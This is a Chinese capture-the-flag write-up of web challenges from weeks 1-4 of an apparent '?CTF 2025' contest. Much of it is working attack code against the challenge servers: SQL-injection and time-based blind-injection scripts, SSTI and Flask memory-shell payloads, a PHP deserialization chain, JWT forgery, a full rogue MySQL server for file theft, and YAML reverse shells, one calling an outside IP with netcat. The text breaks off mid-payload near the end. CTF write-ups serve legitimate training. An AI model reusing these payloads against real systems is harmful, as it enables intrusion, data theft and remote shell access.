2025?CTF Week1-4 web题解
ctf
week1
Gitttttttt
git泄露打完了
python GitHack.py http://challenge.ilovectf.cn:30746/.git
Ping??
from_http
题目有点问题，用bp发post数据时没响应，那就只能代码发送
import requests
# CTF请求代码
def send_ctf_request():
url = "http://challenge.ilovectf.cn:30823/"
headers = {
"Referer": "?CTF",
"User-Agent": "?CTFBrowser",
"Cookie": "wishu=happiness",
"X-Forwarded-For": "127.0.0.1"
}
# GET参数
params = {
"welcome": "to"
}
# POST数据
data = {
"the": "?CTF"
}
try:
# 发送POST请求
response = requests.post(url, params=params, data=data, headers=headers)
print("状态码:", response.status_code)
print("响应头:", response.headers)
print("响应内容:", response.text)
return response
except Exception as e:
print("请求失败:", e)
return None
# 执行请求
if __name__ == "__main__":
send_ctf_request()
secret of php
考点:md5强相等
<?php
highlight_file(__FILE__);
include("flag.php");
$a = $_GET['a'];
if (isset($a)){
if($a === "2025") {
die("no");
} else {
echo "<br>"."yes"."<br>";
}
if(intval($a,0) === 2025) {
echo "yes yes"."<br>";
echo "Congratulations! You have passed the first level, the next level is ".$path."<br>";
} else {
die("no no");
}
} else {
echo "a is not set"."<br>";
}先a=03751八进制进到第二关
<?php
highlight_file(__FILE__);
include('flag.php');
$a = $_POST['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)){
if ($a !== $b && md5($a) == md5($b)){
echo "<br>yes<br>";
} else {
die("no");
}
$a = $_REQUEST['aa'];
$b = $_REQUEST['bb'];
if ($a !== $b && md5((string)$a) === md5((string)$b)){
echo "yes yes<br>";
} else {
die("no no");
}
$a = $_REQUEST['aaa'];
$b = $_REQUEST['bbb'];
if ((string)$a !== (string)$b && md5((string)$a) === md5((string)$b)){
echo "yes yes yes<br>";
echo "Congratulations! You have passed the second level, the flag is ".$flag."<br>";
} else {
die("no no no");
}
} else {
echo "a or b is not set<br>";
}前面2个都数组绕过，最后一关强相等
a%5B%5D=1&b%5B%5D=2&aa%5B%5D=1&bb%5B%5D=2&aaa=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&bbb=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
前端小游戏
搜索score解码即可
包含不明东西的食物？！
目录穿越打完了
week2
Look at the picture
测试一下有ssrf，但是只能用http协议，所以得另想办法
目录扫描发现www.zip源码泄露
<?php
// 随机图片URL数组
$randomImages = [
'https://picsum.photos/500/500?random=1',
'https://picsum.photos/500/500?random=2',
'https://picsum.photos/500/500?random=3',
'https://picsum.photos/500/500?random=4',
'https://picsum.photos/500/500?random=5',
'https://picsum.photos/500/500?random=6',
'https://picsum.photos/500/500?random=7',
'https://picsum.photos/500/500?random=8',
'https://picsum.photos/500/500?random=9',
'https://picsum.photos/500/500?random=10'
];
// 获取URL参数
$imageUrl = isset($_GET['url']) ? $_GET['url'] : '';
$blacklist_keywords = [
'file://', 'file%3A//',
'phar://', 'phar%3A//',
'zip://', 'zip%3A//',
'data:', 'data%3A',
'glob://', 'glob%3A//',
'expect://', 'expect%3A//',
'ftp://', 'ftps://',
'passwd', 'shadow', 'etc/', 'root', 'bin', 'bash',
'base64', 'string.', 'rot13',
'eval', 'system', 'exec', 'shell_exec', 'popen'
];
foreach ($blacklist_keywords as $keyword) {
if (stripos($imageUrl, $keyword) !== false) {
die("I see you.....");
}
}
// 如果没有URL参数，选择一个随机图片并重定向
if (empty($imageUrl)) {
$randomImage = $randomImages[array_rand($randomImages)];
header("Location: ?url=" . urlencode($randomImage));
exit();
}
// 初始化变量
$base64Image = '';
$imageInfo = null;
$error = '';
if (!empty($imageUrl)) {
// 验证URL格式
if (filter_var($imageUrl, FILTER_VALIDATE_URL)) {
// 使用file_get_contents获取图片内容
$imageContent = @file_get_contents($imageUrl);
if ($imageContent !== false) {
// 获取图片信息
$imageInfo = @getimagesizefromstring($imageContent);
if ($imageInfo) {
// 获取MIME类型
$mimeType = $imageInfo['mime'];
// 将图片内容转换为base64编码
$base64Image = base64_encode($imageContent);
} else {
$error = '无法识别的图片格式 你的图片:'.$imageUrl.":".$imageContent;
}
} else {
$error = '无法获取图片内容，请检查URL是否正确 '.$imageUrl.":".$imageContent;
}
} else {
$error = '无效的URL格式';
}
}
?>
猜测flag在根，伪协议直接读
url=php://filter/resource=/flagwp还进行了编码转换
php:!$filter/convert.iconv.UTF-8.UTF-7/resource=/flagOnly Picture Up
改后缀上传后直接利用木马就行，后端应该是有个include
Regular Expression
<?php
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
if(isset($_GET["?"])){
$_？ = $_GET['?'];
if(preg_match('/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/', $_？) && strlen($_？) == 40) {
echo 'Good job! Now I need you to write a regular expression for my string.</br>';
if(isset($_POST['preg'])){
$preg = str_replace("|","",$_POST['preg']);
$test_string = 'Please\ 777give+. !me?<=-=>(.*)Flaggg0';
if(preg_match('/'.$preg.'/', $test_string) && strlen($_POST['preg']) > 77){
echo "Congratulations! Here is your flag: ".$flag;
}else{
echo "Almost succeeded!";
}
}
}else{
echo "Think twice, and go to study!!!";
}
}else{
echo "Welcome to ?ctf";
}%3F=-ctf<%0A>>>>>h12!!!!!!!!!!@email.com%20flag0注意:题目\n要的是实际换行。URL 里要写成 %0A，然后就算\W+: 匹配一个或多个非单词字符，可以用来凑字符数量，还有就算{5}就是前面的字符重复5次，这里就是>重复5次，正则里末尾是 flag.\b，最后这个“.”表示任意字符，但 \b 要求最后一个字符是“单词字符”（字母/数字/下划线）。所以结尾不能用点号，要用字母/数字等。第二个正则意思是移除所有 "|" 字符后可以匹配到_POST['preg']) > 77，而.* = 匹配任意长度的任意字符，所以构造如下
preg=||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||.*留言板
考点：过滤lipsum.cycler还有引号的ssti
用request绕过就行
{{get_flashed_messages.__globals__.os.popen(request.form.cmd).read()}}&cmd=cat /flag
这个也行
{{joiner.__init__.__globals__.os.popen(request.form.cmd).read()}}&cmd=cat /flag登录和查询
考点：布尔盲注
源码给了个md文件，提示前面是弱密码后面是sql，而且爆破要用它的字典
最后admin/admin123登入，然后就算sql注入，注入点是get参数id，没过滤无回显打布尔盲注就行
import requests
base_url = "http://challenge.ilovectf.cn:30830/flag.php"
result = ""
i = 0
while True:
i += 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) // 2 # 使用整数除法
# 根据需要切换payload
#payload = "sElect group_concat(table_name) FRom infOrmation_schema.tables Where table_schema=database()"
#payload = "sElect group_concat(column_name) FRom infOrmation_schema.columns Where table_name='flags'"
payload = "sElect group_concat(flag) FRom `flags`" #这里flags要用反引号才行，单引号不行，反引号用于标识数据库、表、列等对象的名称。
# 构造正确的URL字符串（注意去掉了末尾逗号）
current_url = f"{base_url}?id=1' And Ord(sUbstr(({payload}),{i},1))>{mid}--+"
# 添加Cookie
cookies = {
'PHPSESSID': 'b81ef54e3299576667904da2fc56d251'
}
r = requests.get(url=current_url, cookies=cookies)
if 'You_are_so_a_go0d_ctfer' in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
print(f"[+] 当前结果: {result}")
这是什么函数
考点：python原型污染
目录爆破的得/src,访问得源码
from flask import Flask, request, render_template
import json
app = Flask(__name__)
def merge(src, dst):
"""
递归合并两个字典/对象
"""
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
"""
检查字符串是否为有效的JSON格式
"""
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
"""
自定义类，用于存储属性
"""
def __init__(self):
pass
# 全局变量
instance = cls()
cat = "where is the flag?"
dog = "how to get the flag?"
@app.route('/', methods=['GET', 'POST'])
def index():
"""
主页路由
"""
return render_template('index.html')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
"""
获取flag的路由
当cat == dog时返回flag，否则返回cat和dog的内容
"""
with open('/flag', 'r') as f:
flag = f.read().strip()
if cat == dog:
return flag
else:
return cat + " " + dog
@app.route('/src', methods=['GET', 'POST'])
def src():
"""
返回源代码的路由
"""
return open(__file__, encoding="utf-8").read()
@app.route('/pollute', methods=['GET', 'POST'])
def pollution():
"""
污染路由 - 接收JSON数据并合并到instance对象中
"""
if request.is_json:
merge(json.loads(request.data), instance)
return "success"
else:
return "fail"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
很简单的python原型污染链，打
{
"__init__":{
"__globals__":{
"cat":"how to get the flag?"
}
}
}然后访问/flag就行
week3
这又是什么函数
考点：命令无回显打盲注
from flask import Flask,request,render_template
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/doit', methods=['GET', 'POST'])
def doit():
e=request.form.get('e')
try:
eval(e)
return "done!"
except Exception as e:
return "error!"
@app.route('/src', methods=['GET', 'POST'])
def src():
return open(__file__, encoding="utf-8").read()
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)测试不出网，打内存马失败，那就打盲注
import requests
import string
url = "http://challenge.ilovectf.cn:30621/doit"
flag = ""
position = 1
while True:
low, high = 32, 127 # ASCII 范围
char_found = False
while low < high:
mid = (low + high) // 2
payload = f"""
__import__('time').sleep(2) if ord(open('/flag').read()[{position-1}])>{mid} else None
""".strip().replace('\n', '')
data = {'e': payload}
try:
r = requests.post(url, data=data, timeout=3)
if r.elapsed.total_seconds() > 2:
low = mid + 1
else:
high = mid
except requests.Timeout:
low = mid + 1
guess_char = chr(low)
if low == 32 or low >= 126: # 非打印字符，可能结束
break
flag += guess_char
position += 1
print(f"[+] Current flag: {flag}")
解法二：pickle内存马
看wp发现可以打python内存马
import requests
url = "http://challenge.ilovectf.cn:30775"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
}
# 第一步：注入恶意代码
url1 = f"{url}/doit"
payload = {
'e': r"""eval("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('0')).read())")""".strip()
}
print("[*] 正在注入恶意代码...")
r = requests.post(url1, data=payload, headers=headers)
print("注入响应：", r.text)
# 第二步：执行命令读取flag
url2 = f"{url}/?0=cat /flag"
print("\n[*] 正在执行命令读取flag...")
r = requests.get(url2, headers=headers) # 这里应该是GET请求
print("执行结果：", r.text)魔术大杂烩
<?php
highlight_file(__FILE__);
error_reporting(0);
class Wuhuarou{
public $Wuhuarou;
function __wakeup(){
echo "Nice Wuhuarou!</br>";
echo $this -> Wuhuarou;
}
}
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
public function __toString(){
echo "Nice Fentiao!</br>";
return $this -> Fentiao -> Hongshufentiao;
}
}
class Baicai{
public $Baicai;
public function __get($key){
echo "Nice Baicai!</br>";
$Baicai = $this -> Baicai;
return $Baicai();
}
}
class Wanzi{
public $Wanzi;
public function __invoke(){
echo "Nice Wanzi!</br>";
return $this -> Wanzi -> Xianggu();
}
}
class Xianggu{
public $Xianggu;
public $Jinzhengu;
public function __construct($Jinzhengu){
$this -> Jinzhengu = $Jinzhengu;
}
public function __call($name, $arg){
echo "Nice Xianggu!</br>";
$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
}
}
class Huluobo{
public $HuLuoBo;
public function __set($key,$arg){
echo "Nice Huluobo!</br>";
eval($arg);
}
}
if (isset($_POST['eat'])){
unserialize($_POST['eat']);
}基础的pop
<?php
error_reporting(0);
class Wuhuarou{
public $Wuhuarou;
function __wakeup(){
echo "Nice Wuhuarou!</br>";
echo $this -> Wuhuarou;
}
}
class Fentiao{
public $Fentiao;
public $Hongshufentiao;
public function __toString(){
echo "Nice Fentiao!</br>";
return $this -> Fentiao -> Hongshufentiao;
}
}
class Baicai{
public $Baicai;
public function __get($key){
echo "Nice Baicai!</br>";
$Baicai = $this -> Baicai;
return $Baicai();
}
}
class Wanzi{
public $Wanzi;
public function __invoke(){
echo "Nice Wanzi!</br>";
return $this -> Wanzi -> Xianggu();
}
}
class Xianggu{
public $Xianggu;
public $Jinzhengu;
public function __construct($Jinzhengu){
$this -> Jinzhengu = $Jinzhengu;
}
public function __call($name, $arg){
echo "Nice Xianggu!</br>";
$this -> Xianggu -> Bailuobo = $this -> Jinzhengu;
}
}
class Huluobo{
public $HuLuoBo;
public function __set($key,$arg){
echo "Nice Huluobo!</br>";
eval($arg);
}
}
$a=new Wuhuarou();
$a->Wuhuarou=new Fentiao;
$a->Wuhuarou->Fentiao=new Baicai();
$a->Wuhuarou->Fentiao->Baicai=new Wanzi();
$a->Wuhuarou->Fentiao->Baicai->Wanzi=new Xianggu('system("cat /flag");');
$a->Wuhuarou->Fentiao->Baicai->Wanzi->Xianggu=new Huluobo();
echo serialize($a);
unserialize(serialize($a));mysql管理工具
考点：mysql任意文件读取+yaml反序列化
用户名与密码在源码，登进去后抓包发现直接伪造不行，但是发现jwt伪造
爆破密钥试试
python jwt_cracker.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJleHAiOjE3NjIzMzQ3OTl9.BWRSaQr1TzahIJdlrgNYXciSPMX2taKFiQBO4JY8Fdo"
没爆出来？换kali的试试，得到jH84（每次密钥不同）
伪造即可
import jwt
import datetime
# 定义标头（Headers）
headers = {
"alg": "HS256",
"typ": "JWT"
}
# 定义有效载体（Payload）
token_dict = {
"username": "admin",
"exp": 1762334799
}
# 密钥
secret = 'jH84'
jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
print("JWT Token:", jwt_token)
显示连接不到127.0.0.1，猜测可以连接到任意SQL客户端
打MySQL任意⽂件读取漏洞
`实现原理：`
攻击者搭建一个伪造的mysql服务器，当有用户去连接上这个伪造的服务器时。
攻击者就可以任意读取受害者的文件内容。原理参考https://cloud.tencent.com/developer/article/1426503
攻击代码：https://github.com/allyshka/Rogue-MySql-Server
先运行代码试试（在vps运行，到时候连接主机就是vps，由于环境原因，我修改了一下代码，）
#!/usr/bin/env python
#coding: utf8
import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers
import sys
PORT = 3306
# 修复日志配置
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
# 使用文本模式而不是二进制模式
handler = logging.handlers.WatchedFileHandler('mysql.log', 'a', encoding='utf-8')
handler.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(handler)
# 同时添加控制台输出以便调试
console_handler = logging.StreamHandler(sys.stdout)
console_handler.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(console_handler)
filelist = (
'/etc/passwd',
)
#================================================
#=======No need to change after this lines=======
#================================================
__author__ = 'Gifts'
def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return
if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in range(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)
class LastPacket(Exception):
pass
class OutOfOrder(Exception):
pass
class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __bytes__(self):
"""返回字节表示"""
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = header + self.payload
return result
def __str__(self):
"""字符串表示，用于调试"""
return repr(self.__bytes__())
@staticmethod
def parse(raw_data):
packet_num = raw_data[0]
payload = raw_data[1:]
return mysql_packet(packet_num, payload)
class http_request_handler(asynchat.async_chat):
def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
# 认证载荷 - 全部使用字节
auth_payload = b"".join((
b'\x0a', # Protocol
b'5.6.28-0ubuntu0.14.04.1' + b'\0',
b'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
))
self.push(mysql_packet(0, auth_payload))
self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
log.debug('Pushed: %r', data)
# 确保推送的是字节数据
if data is not None:
data = bytes(data) # 调用 mysql_packet 的 __bytes__ 方法
asynchat.async_chat.push(self, data)
def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = b"".join(self.ibuffer)
self.ibuffer = []
if self.state == 'LEN':
# 处理长度字节
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != 0:
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == 0x03: # Query
log.info('Query')
filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
b'\xFB' + filename.encode('latin1')
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == 0x1b: # SelectDB
log.info('SelectDB')
self.push(mysql_packet(
packet,
b'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in (0x02,): # 使用元组比较
self.push(mysql_packet(
packet, b'\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == b'\x00\x01':
self.push(None)
self.close_when_done()
else:
log.warning('Unknown payload: %r', packet.payload)
raise ValueError('Unknown payload')
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)
if len(data) == 1:
self.push(
mysql_packet(packet, b'\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1
elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, b'\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state: %s', self.state)
self.push(None)
self.close_when_done()
class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)
if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()
self.listen(5)
def handle_accept(self):
pair = self.accept()
if pair is not None:
# 确保日志记录使用字符串
log.info('Conn from: %s', str(pair[1]))
tmp = http_request_handler(pair)
if __name__ == '__main__':
z = mysql_listener()
# daemonize()
log.info("MySQL listener started on port %d", PORT)
try:
asyncore.loop()
except KeyboardInterrupt:
log.info("Shutting down...")
接下来读app.py，读出来结果有点乱，给ai整理一下，得到
from flask import Flask, request, jsonify, render_template_string
import MySQLdb
import jwt
import random
import string
from functools import wraps
from datetime import datetime, timedelta
import yaml # pyyaml==5.1
app = Flask(__name__)
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=4))
JWT_SECRET = ''.join(random.choices(string.ascii_letters + string.digits, k=4))
admin_pass = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
JWT_ALGORITHM = 'HS256'
USERS = {'admin': admin_pass, 'user': 'pass'}
def generate_token(username):
payload = {'username': username, 'exp': datetime.utcnow() + timedelta(hours=24)}
return jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
def verify_token(token):
try:
payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGORITHM])
return payload['username']
except Exception:
return None
def login_required(f):
@wraps(f)
def wrapper(*args, **kwargs):
token = request.headers.get('Authorization')
if not token or not token.startswith('Bearer '):
return jsonify({'error': 'Token missing'}), 401
username = verify_token(token[7:])
if not username:
return jsonify({'error': 'Invalid token'}), 401
request.current_user = username
return f(*args, **kwargs)
return wrapper
@app.route('/')
def index():
return render_template_string('''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>MySQL 登录</title>
<style>
body {font-family:sans-serif;background:linear-gradient(135deg,#667eea,#764ba2);display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}
.login-container {background:white;padding:40px;border-radius:12px;box-shadow:0 10px 25px rgba(0,0,0,.1);width:360px;text-align:center;}
input{width:100%;padding:10px;margin:8px 0;border:1px solid #ccc;border-radius:6px;}
button{width:100%;padding:10px;background:#667eea;color:white;border:none;border-radius:6px;cursor:pointer;}
.error{color:#e74c3c;font-size:14px;}
.success{color:#27ae60;font-size:14px;}
</style>
</head>
<body>
<div class="login-container">
<h2>🔐 MySQL 管理登录</h2>
<form id="f">
<input id="username" placeholder="用户名" required>
<input id="password" type="password" placeholder="密码" required>
<button type="submit">登录</button>
<div id="msg"></div>
</form>
</div>
<script>
document.getElementById('f').addEventListener('submit', async e=>{
e.preventDefault();
const res = await fetch('/login',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({
username:username.value,password:password.value
})});
const data = await res.json();
const msg=document.getElementById('msg');
if(data.success){
localStorage.setItem('token',data.token);
msg.innerHTML='<div class="success">登录成功！</div>';
setTimeout(()=>location.href='/test',1000);
}else{
msg.innerHTML='<div class="error">'+data.error+'</div>';
}
});
</script>
</body>
<!-- user/pass --></html>
''')
@app.route('/login', methods=['POST'])
def login():
data = request.get_json()
username, password = data.get('username'), data.get('password')
if username in USERS and USERS[username] == password:
token = generate_token(username)
return jsonify({'success': True, 'token': token})
return jsonify({'success': False, 'error': '用户名或密码错误'})
@app.route('/test')
def mysql_test_page():
return render_template_string('''
<!DOCTYPE html>
<html lang="zh-CN">
<head><meta charset="UTF-8"><title>MySQL 连接测试</title>
<style>
body{font-family:sans-serif;background:#f5f7fa;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;}
.container{background:white;padding:30px;border-radius:10px;box-shadow:0 2px 10px rgba(0,0,0,.1);width:360px;}
input{width:100%;padding:8px;margin-top:5px;border:1px solid #ccc;border-radius:5px;}
button{width:100%;padding:10px;margin-top:15px;background:#007bff;color:white;border:none;border-radius:5px;cursor:pointer;}
#out{margin-top:15px;font-family:monospace;white-space:pre-line;}
</style>
</head>
<body>
<div class="container">
<h3>🧩 测试 MySQL 连接</h3>
<form id="f">
<input name="host" placeholder="Host" value="127.0.0.1">
<input name="port" placeholder="Port" value="3306">
<input name="user" placeholder="User" value="root">
<input name="password" placeholder="Password" type="password">
<input name="db" placeholder="Database" value="mysql">
<button type="button" onclick="test()">测试连接</button>
</form>
<pre id="out"></pre>
</div>
<script>
const token = localStorage.getItem('token');
if(!token) location.href='/';
async function test(){
const out=document.getElementById('out');
out.textContent='正在测试...';
let data=Object.fromEntries(new FormData(f).entries());
try{
let res=await fetch('/test_mysql',{method:'POST',headers:{
'Content-Type':'application/json','Authorization':'Bearer '+token
},body:JSON.stringify(data)});
let j=await res.json();
out.style.color=j.success?'green':'red';
out.textContent=j.success?'连接成功！':'连接失败\\n'+(j.error||'');
}catch(e){out.textContent='请求出错：'+e;}
}
</script>
</body></html>
''')
@app.route('/test_mysql', methods=['POST'])
@login_required
def test_mysql():
if request.current_user != 'admin':
return jsonify({"success": False, "error": "权限不足，只有 admin 可以测试 MySQL 连接"}), 403
data = request.get_json() or {}
for k in ("host", "port", "user", "password", "db"):
if k not in data:
return jsonify({"success": False, "error": f"缺少字段: {k}"})
try:
conn = MySQLdb.connect(
host=data["host"],
port=int(data["port"]),
user=data["user"],
passwd=data["password"],
db=data["db"],
connect_timeout=5,
charset='utf8mb4',
local_infile=1,
ssl=None
)
cur = conn.cursor()
cur.execute("SELECT 1")
cur.close()
conn.close()
return jsonify({"success": True})
except MySQLdb.Error as e:
return jsonify({"success": False, "error": str(e)})
except Exception as e:
return jsonify({"success": False, "error": f"其他错误: {e}"})
@app.route('/uneed1t', methods=['GET'])
def uneed1t():
data = request.args.get('data', '')
if data == '':
return jsonify({"result": "null"})
try:
black_list = [
"system", "popen", "run", "os"
]
for forb in black_list:
if forb in data:
return jsonify({"result":"error"})
yaml.load(data, Loader=yaml.Loader)
return jsonify({"result": "ok"})
except Exception as e:
return jsonify({"result":"error"})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)显然在/uneed1t有yaml反序列化,由于无回显，打反弹shell
import requests
import urllib.parse
# 反弹shell payload - 替换YOUR_IP和YOUR_PORT为实际值
payload = """!!python/object/apply:subprocess.call [['/bin/busybox','nc','101.200.39.193','5000','-e','/bin/sh']]
"""
# URL编码payload
encoded_payload = urllib.parse.quote(payload)
url = "http://challenge.ilovectf.cn:30750/uneed1t"
params = {'data': payload} # 修正：使用字典，不是字符串
response = requests.get(url, params=params)
print(f"\n[+] Response status: {response.status_code}")
print(f"[+] Server response: {response.text}")
wp还有其它方法
#由于这里有任意文件读取，可以写文件
code = """"!!python/object/apply:subprocess.Popen
- ["sh","-c","cat /f* >1.txt"]
"""
#弹shell
可以起socket去打
code = """"!!python/object/apply:subprocess.Popen
- ["python", "-c", "import
base64;base64exp='aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIml
wIixwb3J0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigic2giKQ"'
';exp=bVIP
考点：go模板注入+Go build 环境变量注入
package main
import (
"fmt"
"github.com/gin-contrib/cors"
"io"
"net/http"
"os"
"os/exec"
"path/filepath"
"text/template"
"time"
"github.com/gin-gonic/gin"
)
type Utils struct{}
func (u *Utils) GetReader(path string) (io.Reader, error) {
return os.Open(path)
}
func (u *Utils) ReadAll(r io.Reader) (string, error) {
data, err := io.ReadAll(r)
if err != nil {
return "", err
}
return string(data), nil
}
func apiKeyMiddleware() gin.HandlerFunc {
requiredKey := os.Getenv("API_KEY")
if requiredKey == "" {
panic("错误：API_KEY 环境变量未设置！")
}
return func(c *gin.Context) {
providedKey := c.GetHeader("X-API-Key")
if providedKey != requiredKey {
c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "无效的 API Key"})
return
}
c.Next()
}
}
type BuildRequest struct {
Env map[string]string `json:"env"`
Code string `json:"code"`
}
const BuildDir = "/tmp/build"
func main() {
r := gin.Default()
if err := os.MkdirAll(BuildDir, 0755); err != nil {
panic(fmt.Sprintf("无法创建固定的编译目录: %v", err))
}
r.Use(cors.Default())
r.StaticFile("/vip.html", "./vip.html")
r.GET("/", func(c *gin.Context) {
c.File("./index.html")
})
r.GET("/api", func(c *gin.Context) {
templateQuery := c.Query("template")
tplString := fmt.Sprintf("输出结果: %s", templateQuery)
data := map[string]interface{}{
"Utils": &Utils{},
"Getenv": os.Getenv,
}
tmpl, err := template.New("name").Parse(tplString)
if err != nil {
c.String(http.StatusBadRequest, "模板解析错误: %s", err.Error())
return
}
err = tmpl.Execute(c.Writer, data)
if err != nil {
c.String(http.StatusInternalServerError, "模板执行错误: %s", err.Error())
return
}
})
